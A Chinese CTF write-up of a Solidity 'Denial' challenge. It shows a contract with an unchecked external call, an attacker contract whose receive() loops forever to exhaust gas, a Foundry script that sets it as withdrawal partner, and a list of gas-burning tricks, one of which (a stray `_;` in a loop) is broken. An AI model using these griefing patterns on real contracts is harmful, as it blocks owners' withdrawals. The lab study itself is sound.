合约代码：`Denial.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}
```

题目要求为在所有者调用withdraw函数时拒绝他提取资金。

难点是找到调用withdraw函数时拒绝他提取资金的方法。

思路：

`payable(owner).transfer(amountToSend);`这一步是提取资金，发现在提取之前调用了`call()`，这就会触发receive函数。因此我们需要在`partner.call()`后消耗掉所有的gas，进而使合约后面的代码无用。

接下来写攻击合约，合约包含一个receive函数，调用时消耗掉所有gas。

攻击合约：`DenialAttack.sol`

```
// SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;

contract DenialAttack {
    receive() external payable {
        while (true) {}
    }
}
```

脚本：`Denial.s.sol`

```
// SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "../src/Denial.sol";
import "../src/DenialAttack.sol";

contract MyScript is Script {
    Denial _denial =
Denial(payable(0x6c7f37F92180ca03dFDa1064D20B6856e923bF70));

    function run() external {
        vm.startBroadcast();

        DenialAttack attacker = new DenialAttack();

        _denial.setWithdrawPartner(address(attacker));

        vm.stopBroadcast();
    }

}

```

最后执行脚本，任务完成。

消耗掉所有的gas有以下方法：

- **法一**死循环（无限 `while (true)`）：

  ```
  while (true) {}
  ```

  缺点：某些优化器可能会提前检测出这段代码“不可中断”，直接 reject 编译（尤其是高级别优化）。

- **法二** `for` 循环大迭代：

  ```
  for (uint i = 0; i < type(uint).max; i++) {
      _;
  }
  ```

  适用于0.6~0.8版本，循环次数可以调节。

- **法三**手写内联汇编死循环：

```
assembly {
    for {} 1 {} { }
}
```

优点：不会被优化器裁剪，适用于所有版本，特别适合 Solidity 0.8+。

- **法四**（0.8版本之前）：

```
assert(false);
```

- **法五**使用`storage`写入（gas高）：

```
for (uint i = 0; i < 1000; i++) {
        gasBurner[i] = i;
    }
```